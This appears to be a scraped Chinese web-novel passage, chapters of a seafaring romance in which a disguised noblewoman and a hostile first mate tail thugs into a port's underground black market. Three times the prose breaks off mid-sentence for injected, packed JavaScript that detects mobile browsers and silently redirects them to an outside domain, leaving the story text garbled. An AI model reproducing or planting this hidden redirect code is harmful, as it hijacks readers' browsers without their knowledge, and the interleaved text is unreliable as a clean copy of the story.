“我出门一趟,看好庄园。”佩德克接过管家手中递来的手杖。 管家颌首道:“是,先生。” - 风暴后的第二个晴天,阳光依旧炽烈得灼人。 甲板上的狼藉基本清理干净,但盐粒和顽固的污渍还附着在木板缝隙里,尤其是靠近锚链孔那片区域,混合着铁锈和油污,在烈日下散发着难闻的气味。 江熠站在主桅阴影下分配任务,目光扫过人群,最终落在了于霜身上。 她的脸色比昨天似乎更苍白了些,眼下带着淡淡的青影,显然昨晚没休息好。 江熠看着她这副样子,又想起昨天她在船长室进出的身影,以及船员们那些关于沉船和贵族的窃窃私语,一股熟悉的烦躁和莫名的情绪,再次堵在胸口。 他指向那片最脏污的区域,声音冷硬,带着一种刻意为之的公事公办:“主甲板中段,锚链孔附近。你,去把那里清理干净。要彻底。” 于霜抬起头,鎏金色的眸子没什么情绪地看了他一眼,应了一声,只是默默走过去提了水桶,拿起那把粗糙得能刮掉一层皮的鬃毛刷。 然后,她双膝跪在了坚硬、滚烫、还嵌着盐粒的木板上。 她没有丝毫犹豫,也没有抱怨,只是将全部力气都灌注在手臂上。 鬃毛刷狠狠摩擦着板面,发出刺耳的“唰——唰——”声,一下又一下,仿佛不是在清洁,而是在发泄着什么。 汗水瞬间从她的额头、鬓角涌出,顺着苍白的脸颊滑落,在下巴汇聚,滴落在甲板上,又立刻被太阳晒干。 粗糙的刷柄和坚硬的盐粒,很快就将她戴着的普通布手套磨破,鲜红的血丝一点点渗透了脏污的布料,在烈日下显得格外刺目。 江熠站在不远处的阴影里,已经看了好一会儿。 那股烦躁感像绞杀绳一样越缠越紧。 他看着她近乎自虐般的用力,看着她被汗水浸透贴在单薄背上的布料,看着她手套上那抹越来越深的、刺眼的红色。 昨晚的思绪和眼前这幅景象交织在一起:沉船的贵族、指手画脚的幽灵、她苍白的脸、她此刻无声的、近乎疯狂的倔强…… 这一切都让他觉得无比刺眼。 她这是在干什么? 用伤害自己来抗议? 还是想博取谁的同情? 可是为什么呢,是昨天和威廉船长谈了什么? 还是……因为他对她的刁难? 这个念头一闪而过,却让江熠的心头莫名地更加窒闷。 他厌恶她身上那种与灾难相连的气息,厌恶她的贵族烙印。 可眼前这苍白、疲惫、却用尽全力将自己弄得鲜血淋漓的画面……像一根细针,扎进他试图维持坚硬的外壳里,带来一丝尖锐的、陌生的刺痛感。 “够了!” 一声压抑着复杂情绪的呵斥响起,比预想中的音量低了些,却带着刻在骨子里的强硬。 江熠几步走到于霜身边,动作依然带着他惯有的迅捷,但踢向水桶的那一脚,力道却似乎下意识地收敛了些。 “哐当!” 木桶被踢得歪倒,里面的脏水泼洒出来,浸湿了于霜的裤脚边缘和鞋子,留下深色的污痕。 水花溅起,有几滴落在了她汗湿的鬓角。 江熠高大的身影挡住了部分毒辣的阳光,在于霜身上投下一片移动的阴影。 他没有立刻说话,目光复杂地掠过她被汗水浸湿的、苍白得近乎透明的侧脸,最终定格在那只染血的破手套上。 他的喉结不易察觉地滚动了一下,下颌线绷紧,声音低沉,带着一种竭力维持的冷硬: “起来!……把自己弄成这样,”他顿了顿,似乎在寻找合适的词。 “能证明什么?” 他移开目光,望向远处翻滚的海浪,声音似乎更低了些,带着一丝他自己都未察觉的别扭和生硬:“在船上,把自己弄废是最愚蠢的事情。省点力气,别做……这种没意义的贵族小姐的把戏。” 最后几个字,几乎是从齿缝里挤出来的,带着一种强行说服自己、也试图说服她的意味。 于霜的动作猛地停住了。 她缓缓地抬起头,脸上并没有预想中的愤怒或屈辱,反而扯开了一个异常明艳的笑容。 她摘下那只渗了血的破布手套,将被磨得破皮、正丝丝缕缕渗着血珠的掌心,稳稳地举到了江熠的面前。 那纤细的手掌上,几处鲜红的破口在阴影中,红得惊心,像刚刚凝固的熔岩。 “证明什么?”她的声音因为喘息而沙哑,却异常清晰,目光直直迎上江熠复杂而略显闪避的视线。 “贝利先生,我母亲说过——淑女的茧,是钻石磨出来的。” 她顿了顿,脸上的笑容加深,将那只伤痕累累的手掌又往前送了送,仿佛在展示一件稀世珍宝,语气轻快得近乎残忍: “你看,多谢你的‘特殊关照’,这不就磨出新的了?” 海风似乎都停滞了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“恨乌及乌?”于霜轻声重复。 她因为家族的变故被迫上船,忍受屈辱,在风暴中搏命,才换来一丝立足之地,如今却被归咎于她无法选择的出身? 被一个同样伤痕累累的人厌恶,却仅仅因为她身上残留的“味道”? 汉森的话像火星一样,瞬间点燃了她压抑的逆反心理。 她看着自己刚被包扎好的、裹着白布的手掌,又想起了江熠手臂上那道狰狞的旧鞭痕。 她凭什么要因为别人的偏见和伤痛买单? 凭什么她的“茧”要被这样定义? 她猛地站起身,动作牵扯到伤口也毫不在意。 “谢谢您,汉森先生。”她声音平静,“我的‘首饰’很漂亮,不需要别人来定义它的价值。无论是钻石磨的,还是……别的什么磨的。” 汉森被她突然的冷硬弄得一愣。 于霜不再多说,转身推开诊室吱呀作响的木门。 门外昏暗狭窄的通道里空无一人。 然而,就在她即将步入通道拐角的阴影时,眼角的余光似乎瞥到—— 在诊室门口斜对面,一个堆放破损缆绳的昏暗角落里,似乎有个人影极其轻微地动了一下。 像是一抹深色衣角迅速缩回了阴影里,快得让人以为是错觉。 于霜的脚步没有丝毫停顿,仿佛完全没有察觉。 她挺直脊背,裹着白布的手掌在身侧微微握紧,掌心伤口的刺痛清晰地提醒着她刚才听到的话和看到的那抹可疑的阴影。 海风从通道尽头吹来,带着咸腥和未知的气息。 8. 登陆黑市 黎明前的深蓝尚未完全褪去,启明星还低垂在天际。 威廉船长洪亮的声音穿透微凉的晨雾,在甲板上回荡。 “都打起精神来,伙计们。正午前必须给我稳稳靠上岩爪湾的码头。船要修,人要喘气,谁也别给我在最后关头掉链子!” “是,船长。”水手们朝气蓬勃地回应着。 船首甲板上,值早班的大副正指导一个年轻水手使用六分仪测量最后的晨星与地平线夹角,计算精确纬度。 年轻水手紧张得额头冒汗,手指僵硬,读数明显偏差。 “大副,我测的这个纬度对了吗?” 大副皱眉,正准备上手纠正,不远处传来船医汉森的声音。 “杜威,你上次受的伤感觉怎么样了?今天得换药了,我需要你,立刻,马上过来。” “你就不能等等?”大副朝那边大声道。 “不能。”汉森倚在门框上,漫不经心地转动着手中的手术刀,“医不等病,我烧酒都给你配好了。” 大副烦躁地抓了抓乱如杂草的卷发,两头都顾不得。 “地平线参照点偏移了半度。” 突然,一个清冷的声音在身旁响起。 于霜不知何时走了过来,身着一件鹅黄色低领裙,简素绸缎垂坠而下。 同色宽檐帽斜戴,金丝镶边,衬得面容愈发白皙矜贵。 她微抬下巴,脖颈线条优雅,珍珠项链温润地停在锁骨间。 “西蒙小姐。”大副眼睛一亮,急忙道,“您会看六分仪?!能不能……帮忙教教他?哦,他是新人,我这……” 年轻水手有些不好意思:“拜托了,小姐。” “没问题。” 于霜自然地接过冰凉的黄铜仪器,动作流畅而稳定,仿佛与它融为一体。 她微微调整角度,目光在刻度、模糊海天交界和那颗明亮的星辰间快速游移,几秒后报出一个精确数值。 年轻水手松了口气,感激又羞愧:“谢、谢谢您,西蒙小姐!” 于霜微微颔首,将六分仪递回。 就在她转身准备离开时,一直等在旁边、眼睛亮晶晶的少年吉勒立马跳了出来。 “西蒙小姐,您今天可真漂亮,像油画一样。” 没人不喜欢听真诚的夸赞,于霜也不例外,她轻轻一笑。 “谢谢。” 吉勒兴奋地呆在她身边。叽叽喳喳地说着。 “……我们船之前在遇到鲨鱼的时候……” 话音未落,吉勒的目光精准落在了于霜工装外套领口内侧一个不起眼的小小银质徽章上。 那徽章造型古朴,像一枚微缩的星辰罗盘,边缘刻着极细的波浪纹。 “西蒙小姐,您的这枚徽章……我的天呐,我没看错吧!!”吉勒声音有些颤抖,尾调上扬,“我在老水手珍藏的航海年鉴里见过,是亚当斯夫妇特有的‘七海罗盘’!” “嗯?”于霜随手摘下,摊在手心,“这个?” “哦,是的!”吉勒激动地快要扭成一团,“我,我能碰碰吗?” “当然。”于霜很爽快。 吉勒在衣服边角上狠狠搓了搓自己的手,这才小心翼翼地抚摸起来。 “所有跑船的人都知道他们的传说,他们画的星图能指引迷航,标注的海流暗礁救过无数条船,他们是所有航海士心里最顶尖的传奇!您……您也有这个徽章?您是不是也特别崇拜他们?” 吉勒的语气充满了纯粹的、近乎朝圣般的崇拜,仿佛在谈论神话中的人物。 于霜的手下意识地攥紧那枚冰凉的徽章——那是父母早年纵横七海时共同的信物。 她没想到吉勒竟能一眼认出,更没想到父母在化名时期的影响力如此深远,成了底层水手口口相传的传说。 江熠正巧从旁边走过,无意间听见了吉勒的惊呼。 亚当斯夫妇? 这对传奇航海士夫妇的名字如雷贯耳,连他都听过不少关于他们神乎其技的航海壮举和最终不幸遇难的消息。 这徽章竟是他们的象征?怎么会在这个麻烦的贵族小姐身上? “只可惜……听说这对夫妇遭遇了海难,已经……”吉勒声音瞬间放低,充满了同情和惋惜。 “崇拜?”于霜的声音很轻,带着一丝翻涌的情绪,目光投向远方岩爪湾的轮廓,仿佛在凝视着父母曾经的荣光。 “他们……确实是无人能及的航海者。” 她避开了直接回答关系,语气带着一种深沉的悲痛。 “海难……也永远不会是他们最后的归宿。” 她的话像是对吉勒说,又像是对着大海低语。 江熠在一旁听着,眉头几不可察地蹙了一下。 她……是不是很难过? 难道…… 他看向于霜的目光更深邃了几分。 吉勒似懂非懂地点点头,还想再问,于霜已经转身走开,只留下一个挺直的背影。 江熠也收回目光,继续检查工作。 只是“亚当斯夫妇”以及“七海罗盘”,却在他心中留下了一个模糊的印记。 - 正午十分,诺尔尼斯号船缓缓地停在岩爪湾简陋的石砌码头左岸。 缆绳抛下,跳板搭起,水手们瞬间爆发出震耳欲聋的欢呼声,迫不及待地奔向久违的陆地。 江熠站在跳板旁,脸色依旧冷峻,有条不紊地分配着任务和轮休时间。 他的目光几次扫过安静站在人群边缘的于霜。 她身上的秘密他不想深究。 但近乎本能地,他无法容忍她离开自己的视线范围—— 无论是担心她可能会危害船只的举动,还是某种他自己都不愿承认的、不愿她独自面对岸上未知的心思。 “贝伦街,‘老海狗’杂货铺。” 江熠的声音打断了于霜的思绪,他走到她面前,有意避开她的目光。 “补充清单上的绳索、焦油和备用帆布。地方杂乱,货物重。珀金斯,你跟我一起去搬。” 于霜抬起眼,鎏金色的眸子静静看了他两秒。 那眼神平静无波,却让江熠莫名觉得有点不自在。 她没说话,只是默默拎起脚边一个空麻袋。 跳板由粗糙的厚木板搭成,随着岸边水波的晃动和上岸人群的踩踏,微微上下起伏,并不十分稳当。 年轻力壮的水手们毫不在意,甚至带着点炫耀似的跳跃而下。 于霜走到跳板边缘,低头看了看脚下晃动的木板与码头石岸之间不算小的空隙,以及岸上被踩得泥泞湿滑的地面。 她没有像其他水手那样直接跳下去,而是极其自然地转过身,对着站在跳板旁、正皱眉看着她的江熠,抬了抬下巴,语气带着一种理所当然的命令感,简短道: “贝利,搭把手。” 江熠被她这突如其来、仿佛指挥自家仆从般的命令口吻弄得一愣,眉头瞬间拧得更紧,一丝不耐和“果然如此”的念头浮起——这贵族小姐的做派。 他下意识地想嗤笑拒绝。 然而,就在他念头转动的瞬间,于霜已经一手提着麻袋,一手微微抬起,向他伸出了手—— ——那姿态,与其说是寻求帮助,不如说是“等待扶手就位”。 她的目光平静地看着他,仿佛他理应如此。 江熠喉头一哽,那句拒绝的话卡在了嘴边。 看着她伸出的、在阳光下显得有些纤细苍白的手,再看看那并不算平稳的跳板…… 鬼使神差地,他身体快于思考,向前跨了一步,结实有力的手臂伸出,稳稳地虚托住了她的肘部下方。 他的动作带着点生硬和不情愿,但提供的支撑却异常稳固。 于霜借着他手臂的力量,脚下轻盈而稳当地一步迈下跳板,踏上了岸边的实地,鞋跟甚至没溅起多少泥点。 整个过程流畅自然,仿佛演练过无数次。 站稳后,她极其自然地抽回手,仿佛刚才那一托不过是拂去一粒灰尘般寻常,连眼神都没多给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221552|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江熠一个,只淡淡说了句:“走吧。” 便提着麻袋,率先向杂货铺方向走去。 江熠站在原地,手臂上似乎还残留着刚才那短暂接触的触感—— 她手肘的微凉,衣料的细腻,以及那理所当然的力度。 一股说不清是恼怒、尴尬还是别的什么情绪涌了上来,让他感觉刚才被托过的地方莫名有些发热。 他低低“啧”了一声,像是要把这怪异的感觉甩掉,迈开长腿,带着一脸“老子只是怕她摔了耽误事”的烦躁表情,快步跟了上去。 岩爪湾的街道狭窄、拥挤、充满活力。 小贩的叫卖声、醉汉的嚷嚷、孩童的嬉闹声此起彼伏。 江熠走在前面,大步向前,步履很快于霜提着麻袋沉默地跟着。 两人穿行在喧嚣中,奇异的沉默却笼罩着他们。 - “老海狗”杂货铺弥漫着灰尘、麻绳和桐油的气味。 店主是个独眼老头,叼着烟斗,慢吞吞地按清单配货。 一个年轻的伙计正费力地用粗麻绳捆扎一堆木箱,打的结松松垮垮。 江熠皱着眉清点堆在地上的粗麻绳和桶装焦油,于霜则在一旁仔细检查着几卷不同规格的备用帆布,手指捻过布料的经纬,偶尔指出某卷的编织密度不够均匀。 她专注的神情和专业的动作,让江熠不由得多看了几眼。 于霜拿起一卷备用帆布,手指熟练地捻过布料的经纬,对着昏暗的光线看了看,对独眼店主说:“这卷的编织密度不均匀,西南角经纬稀疏,遇到强风容易从这里撕裂。换那卷深灰色的。” 她的声音清冷平静,却带着不容置疑的专业。 伙计抬头,正好看到于霜微微侧身指出帆布问题的侧影。 阳光从店铺高处的窄窗斜射进来,恰好笼在她半边脸颊和纤细的脖颈上。 她的肌肤白的几乎透明,几缕散落的发丝被染成浅金,和眸子的颜色交相呼应。 她挺直的脊背和检查布料时那精准而优雅的手势,也带着一种与这杂乱环境格格不入的高贵。 伙计看得有点发愣,忍不住用胳膊肘捅了捅旁边皱着眉清点粗麻绳的江熠,压低声音,带着点羡慕和促狭的笑意。 “嘿,兄弟,这漂亮小姐……是你们诺尔尼斯号上的?老天,你们船上什么时候藏了这么颗明珠?在这破地方都晃眼!” 江熠正为麻绳的数量有点对不上而烦躁,闻言动作一顿。 他下意识地就想嗤笑反驳,说“漂亮顶什么用,只会添麻烦的贵族包袱”。 然而,话到嘴边,他却像被什么东西卡住了喉咙。 “……不知道。没注意。”他硬邦邦地挤出几个字,语气生硬得像块石头,目光刻意地停留在手中的麻绳卷上。 但就在他否认的瞬间,他的眼尾余光却不受控制地、飞快地朝于霜的方向瞥了一眼—— 正好看到阳光勾勒着她专注的侧脸轮廓,那挺翘的鼻尖和微抿的红色唇瓣在光线下有种近乎透明的质感。 他的心莫名地跳快了一拍。 就在这时,于霜拿起伙计刚捆好、眼看就要散掉的绳子,手指灵活地翻动几下,轻松解开那个糟糕的平结,重新打了一个牢固的双套结,动作干净利落。 她像在陈述一个再明显不过的事实:“这种平结在这种受力点上容易松脱,换成双套结更牢固。” 甚至没看那伙计一眼。 伙计愣了一下,试着按她说的做了,果然结实很多,惊讶地看了她一眼。 江熠轻哼了一声,听不出是赞同还是别的:“哈,懂得倒不少。” “总比不懂装懂强。”于霜头也没回,继续检查帆布。 就在这时,店铺门口一阵喧哗。 几个穿着本地渔民短褂、但眼神凶悍、步履匆匆的壮汉挤了进来,大声嚷嚷着要买最粗的缆绳和防水帆布。 于霜往后退了几步,却意外看见了领头卷起的袖子下露出的手臂。 那是什么?! 9. 下作招数 于霜微微眯眼,想要努力看清那片刺青。 那图案诡异而独特——几根扭曲的章鱼触手,正紧紧缠绕着一个古老船锚的顶部。 她隐约觉得,自己好像在哪见过这个图案。 她下意识地上前半步,想要看得更清楚些。 但那领头的恰好蹲下身,沉重的绳索挡住了他的手臂,袖口也滑落下来,遮住了刺青。 一种强烈的、近乎本能的冲动驱使着于霜。 她几乎是毫不犹豫地就向旁边挪动脚步,试图从另一个角度再次看清那只手臂。 她全部心神都聚焦在那节被布料覆盖的小臂上,完全没留意到周围。 “唔!” 她冷不丁撞进了一个结实而温热的胸膛,鼻尖闻到一股熟悉的、带着皂荚和淡淡海风的气息。 “不看路?” 头顶传来江熠低沉而不悦的声音,他正站在那里查看一桶焦油,被她撞得微微后退了一步。 于霜猛地回过神,意识到自己撞到了谁。 但她此刻心乱如麻,那个刺青图案像烧红的烙铁一样印在她脑海里。 她只仓促地转过头,飞快地丢下一句。 “抱歉。” 目光却依旧急切地、不受控制地试图越过江熠,死死追随着那个正在付钱的头头,试图捕捉任何一点刺青再次显露的可能。 江熠被她这罕见的失态和心不在焉的样子给弄的有些恼怒。 她刚才检查帆布时的专注和专业呢? 现在为了个粗野的陌生人魂不守舍,甚至撞了人都只给一句敷衍的道歉? 就在这时,那几个壮汉似乎付清了钱,拿起货物,骂骂咧咧地推开店门,快步离开了。 于霜脸色一白,想也不想就要立刻跟上去。 就在她脚步迈出的瞬间,一只带茧而有力的大手猛地攥住了她的手腕,力道带着不容置疑的强硬,将她硬生生拽了回来。 “珀金斯!” 江熠的声音压着怒火,纯黑的眸子紧紧地盯住她,眉头快拧成了死结。 “你想要干什么,疯了吗?!跟着那伙人是想去找死吗?!” 他长年混迹在码头,看得分明。 那几个人绝非善类,腰间鼓鼓囊囊的,眼神中带着亡命徒的凶光。 于霜跟着他们,只会是羊入虎口。 手腕上传来的禁锢感和江熠带着斥责的低吼让于霜猛地清醒了几分。 她意识到自己的冲动和危险。 但那个刺青…… 于霜拼命在脑海中回想。 她见过的,她绝对见过的,到底是在哪里—— ——她想起来了! 那个图案,她在佩德克叔叔的房间里见到过。 但是叔叔怎么会和这个地方的人扯上关系? 她深吸一口气,强迫自己冷静,但抓住江熠胳膊的另一只手却止不住地微微颤抖。 她需要帮助,至少……需要江熠不要阻拦她。 于霜抬起头,眸子里染上了急切到恳求的神色,直直望向江熠的眼睛。 她第一次向他服软。 “贝利,让我跟上去好不好,算我……求求你,我必须要去弄明白……有些人有些事……” 她的声音压得极低,甚至有些无意识地用力反抓住他的小臂,指尖冰凉。 “求你了,就这一次……你让我去。” 江熠有些发愣,他从没见过她露出这种表情,脆弱得像一碰就碎。 他的心头被她服软的表情狠狠撞了一下。 他讨厌麻烦,更厌恶她可能带来的危险,但…… 他阴沉着脸,目光在她苍白的脸和窗外那几个即将消失的背影间快速扫视,最终像是下定了某种决心。 “……跟紧我。别乱看,别出声。” 他几乎是咬着牙挤出这句话,语气硬邦邦的,攥着她手腕的手却没有松开,反而调整了一下姿势,变成一种更便于牵引和保护的握持。 “走!” 两人迅速放下手中的东西,悄无声息地追出杂货铺,融入外面喧嚣的人流。 江熠将于霜护在身后内侧,高大的身躯挡住了大部分视线。 他的目光如同猎鹰般锁定前方那几个晃动的身影,每一步都走得极其谨慎。 于霜被迫紧跟在他的身后,努力忽略手腕上传来的力道和温热触感。 她的心跳变得很快,全部心神都系在那个刺青之上,目光不断试图越过江熠的肩头追寻目标。 她有些庆幸自己下船前换了一件不起眼衣服。 突然,江熠的脚步微微一顿。他的目光快速扫过于霜—— 即使在奔波中略显仓促,她挺直的脊背、过于白皙的皮肤、以及那双在混乱人群中依然清澈锐利、引人注目的鎏金色眸子,都像暗夜里的萤火虫一样格格不入,太容易吸引不必要的注意。 “啧。” 他极其不耐烦地低嗤了一声,像是嫌弃她是个巨大的麻烦。 下一秒,于霜还没反应过来,就被他猛地拉扯着拐向旁边一个卖二手杂物和衣帽的地摊。 摊主是个满脸皱纹的老妇人,正昏昏欲睡。 江熠看也没看,随手从怀里摸出几个铜币,看也不看就丢在摊位上,发出几声清脆的响声。 同时,他的另一只手飞快地从一堆杂物里抓起一顶看起来最不起眼、边缘还有些磨损的深棕色宽檐帆布帽。 看那大小和样式,像是水手或渔民常戴的。 然后,在于霜错愕的目光中,他近乎粗鲁地将那顶帽子一把扣在了她的头上。 宽大的帽檐瞬间遮挡了她大半张脸,投下深深的阴影,几乎盖住了她那双过于醒目的眼睛,也将她的脸严严实实地藏了起来。 “低着头走,别东张西望。” 他压低声音命令着,甚至没低头看她一眼,仿佛只是完成了一个非必要的动作。 做完这一切,他立刻重新抓紧她的手腕,目光再次投向远处快要消失的目标,拽着她迅速重新汇入人流。 于霜被这突如其来的举动弄得一愣,帽子上还带着摊位的灰尘和阳光晒过的帆布味。 她下意识地想抬手调整一下歪斜的帽檐,却被江熠更紧地攥住了手腕。 “别动!”他低声警告。 于霜抿了抿唇,最终还是放弃了。 宽大的帽檐确实有效隔绝了周围大部分投来的视线,让她在人群中变得不再那么显眼。 她只能透过帽檐下的阴影,看着江熠紧绷的下颌线和坚实宽阔的后背,任由他牵引着,在迷宫般的小巷中穿行,追踪着那个可能揭开谜团的刺青印记。 那几个壮汉警惕性很高,专挑人烟稀少、七拐八绕的阴暗小巷穿行。 江熠凭借着丰富的经验和敏锐的直觉,死死咬住,同时不断拉扯于霜躲避着可能的视线。 终于,那几个壮汉在一扇毫不起眼、漆皮剥落的旧木门前停下,左右张望了一下,迅速推门闪了进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221553|181538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 门上没有任何招牌,只挂着一个生锈的、形似章鱼的铁艺装饰。 江熠拉着于霜躲进对面一个堆满废木料的死角阴影里。 “他们进去了。” 于霜的声音带着压抑不住的急切,就想跟过去。 “先等等。”江熠的手臂像铁钳一样拦住她,目光锐利地扫视着那扇门和周围环境, “看看情况。” 几分钟后,并无异常。 江熠沉吟片刻,低声道:“我过去看看,你待在这……” “不行。”于霜立刻反对,眼神坚决,“我要一起去。” 她害怕错过任何线索。 江熠瞪着她,最终败在她固执的眼神下。 “……行,一切听我的,不准乱跑。”他最终妥协,语气带着警告。 两人迅速穿过小巷,江熠小心翼翼地将那扇旧木门推开一条缝隙。 一股浑浊热浪瞬间扑面而来。 门内光线昏暗,人声鼎沸,赫然是一个喧闹的地下酒馆。 形形色色的水手、渔民和面目模糊的人挤在一起,赌博、喝酒、大声谈笑,空气污浊不堪。 他们挤进门,努力在拥挤嘈杂的人群中搜寻那个刺青壮汉的身影。 酒馆不大,但布局混乱,光线又暗,一时竟找不到目标。 “分头找找,别走远。”江熠在于霜耳边低语,目光警惕。 就在两人艰难地在人群中搜寻时,酒馆中央突然爆发出激烈的争吵声。 一个满脸通红的男人猛地掀翻了桌子,玻璃杯碎裂声和女人的尖叫声响起。 “操你大爷的,你敢出老千?!” “放屁,老子赢的光明正大!” “揍他!” 瞬间,整个酒馆如同被点燃的火药桶,彻底炸开。 桌椅被掀翻,酒瓶横飞,怒骂声、惨叫声、打斗声混作一团。 人群像疯了一样互相推搡殴斗,根本分不清敌我。 “该死!”江熠低骂一声,一把将于霜狠狠拽回身边,用身体将她护住,抵挡着混乱冲撞的人潮。 “往回走!快!” 于霜被一头扎进江熠的怀中。 他们试图逆着疯狂的人流退回门口,但入口早已被混乱的人群和翻倒的家具堵死。 眼看就要被卷入斗殴的中心—— “这边!”江熠眼尖,发现吧台后面似乎有一条狭窄的、通往更深处的通道,似乎有酒保和几个不想惹事的人正往那里躲。 他来不及多想,搂紧于霜的肩膀,用力撞开两个扭打在一起的人,奋力朝着那条通道挤去。 两人迅速地冲进通道,将外面的喧嚣和混乱稍稍隔绝。 通道狭窄而阴暗,向下延伸,墙壁湿滑,只挂着几盏昏暗不堪的油灯。 他们刚喘了口气,却听到通道另一端传来急促的脚步声和叫骂声,似乎有人追来了。 “快走!”江熠推了于霜一把,两人沿着通道内部向前跑去。 通道尽头是一扇虚掩的、包着铁皮的厚重木门。 门缝里透出更加诡异闪烁的光线和一种压抑的、密集的嗡嗡声。 没时间多想,江熠毫不犹豫,推开那扇门—— 门内的景象让两人瞬间屏住了呼吸。 于霜和江熠对视一眼,都在对方眼中看到了前所未有的震惊和凝重。 他们误打误撞,竟然闯入了岩爪湾最黑暗的核心—— 地下黑市。 10. 与狼共舞 外面酒馆的混乱喧嚣仿佛被彻底隔绝。 眼前是一个巨大的、如同洞穴般的地下空间。 空气更加浑浊,弥漫着浓烈的烟草味、汗味、金钱的味道和……一丝若有若无的血腥气。 在昏暗的灯光下,挤满了更多的人。 但这里的人不是在喝酒打架,而是围在一张张桌子前,眼睛赤红地盯着桌上的骰子、纸牌或旋转的轮盘,发出压抑或狂热的呼喊。 更令人心惊的是,在一些阴影角落里,隐约可以看到并非用于赌博的交易—— 有人快速交换着钱袋和小包裹,有人撩开衣角露出腰间的武器柄,甚至远处堆放着一些盖着油布的、形状可疑的箱体。 江熠攥紧于霜的手腕,在角落里贴着墙一步步小心移动着。 就在这时,一个背对着他们的管事似乎结束了谈话,转过身来—— 他的目光恰好与站在门口、无所遁形的于霜和江熠撞了个正着。 他的脸上瞬间闪过一丝惊愕,随即化为极其阴鸷的凶狠和警惕。 “你们是什么人,怎么进来的?!”管事的厉喝声瞬间吸引了附近几个打手模样的人的注意。 “你们的东西……去哪儿了?” 一道道不善的目光如同冰冷的刀子般聚焦过来。 江熠猛地将于霜拉到自己身后,手按上了腰间的匕首,全身肌肉紧绷。 退路已被外面酒馆的暴动堵死,前方是虎视眈眈的黑市打手。 他们彻底陷入了死地。 江熠飞快地在脑海中计算着强行突围的可能性,但结果却是微乎其微。 就在这剑拔弩张的时刻,于霜的目光却快速扫过周围那些看似普通的赌客和商人。 她敏锐地注意到,几乎每个人腰间或脖颈间都若隐若现地挂着一块样式统一的黑铁令牌,上面似乎雕刻着某种复杂的海洋生物纹样。 而挡住他们去路的打手们,目光也正不善地打量着他们这两个明显“无证”闯入的不速之客。 管事所说的东西,应该就是这牌子了。 电光火石间,一个冒险的念头在于霜脑中成型。 她突然微微侧身,用极低的声音对江熠快速道: “黑市需要通行证,你左边第二个牌桌,那个穿绿马甲的男人,和他旁边那个瘦子,他们的令牌露出来了,没系紧。” 江熠瞬间明白了她的意图。 他眉头拧紧,这太冒险了。 但眼下似乎没有更好的办法。 于霜没给他犹豫的时间,她借着江熠身体的遮挡,手指极其灵巧地从一个路过侍应端的酒盘里“拿”了一杯浑浊的麦酒,然后仿佛被推搡了一下,“不小心”一个趔趄,精准地撞向了那个穿绿马甲的醉汉。 “哎哟!抱歉抱歉!” 于霜的声音带上了一丝慌乱和歉意,手中的酒液“恰到好处”地泼洒在了醉汉的衣襟上。 “大爷的,你没长眼睛啊!”醉汉顿时骂骂咧咧地低头擦拭。 就在这一片混乱的遮挡下,于霜的手指如同拥有了自己的生命。 她轻轻一勾一挑,那块松松挂在醉汉腰间的黑铁令牌就已落入她袖中。 与此同时,江熠也借着身体阻挡和人群的拥挤,神不知鬼不觉地“取”走了旁边那个全神贯注于赌局的瘦子腰间的令牌。 整个过程快如闪电,不过两三息之间。 两人迅速后退,于霜面无表情地将一块令牌塞进江熠手里,另一块自己飞快地挂在了显眼的位置。 江熠也立刻照做。 当打手们拨开人群再次聚焦到他们身上时,看到的已经是两个“持有”令牌的人。 虽然面生,但黑市里来往人员复杂,有令牌至少说明不是完全的外人或者最低级的闯入者。 那个管事模样的男人狐疑地上下打量着他们,尤其是于霜,眼神依旧锐利,但挥了挥手,让打手们稍微退后了些,粗声问道:“你们的令牌……谁引荐的?来干什么的?” 江熠心下一紧,正飞速编织借口,于霜却抢先一步。 她微微抬起下巴,脸上恢复了几分她惯有的、带着疏离的平静,声音不大却清晰:“‘海蛇’介绍来找点‘硬货’看看。怎么,‘老章鱼’现在做生意盘问得这么细了?” 她报出的两个名号模糊而带有试探性,是刚才从周围人零碎对话中捕捉到的只言片语。 语气却带着一丝恰到好处的不耐烦。 那管事听到这两个代号,眼神闪烁了一下,似乎有些意外,又打量了他们几眼,特别是于霜那即使戴着旧帽子也难掩的、与周围环境格格不入的气质,最终哼了一声,没再追问,只是警告道:“管好你们自己,别惹事!” 说完,便转身走开。 打手们也散开了,继续维持秩序。 危机暂时解除。 江熠暗暗松了口气,侧过头,在于霜耳边压低声音,语气带着一丝不易察觉的复杂和微微的讽刺:“啧,看不出,珀金斯小姐还有偷人东西的技能。动作……还挺熟练。” 他这话半是调侃,半是试探,心底却确实为她的急智和胆量感到一丝佩服,甚至心惊。 于霜目不斜视地看着前方赌桌,声音平淡无波,却精准地怼了回去:“你不知道的东西多了去了,贝利先生。” 江熠被她噎了一下,非但没生气,反而突然生出一股想要撕破她这层冷静伪装的好奇与冲动。 他冷不丁地凑近她耳边,温热的呼吸拂过她的耳廓,声音压得极低,带着一种危险的探究。 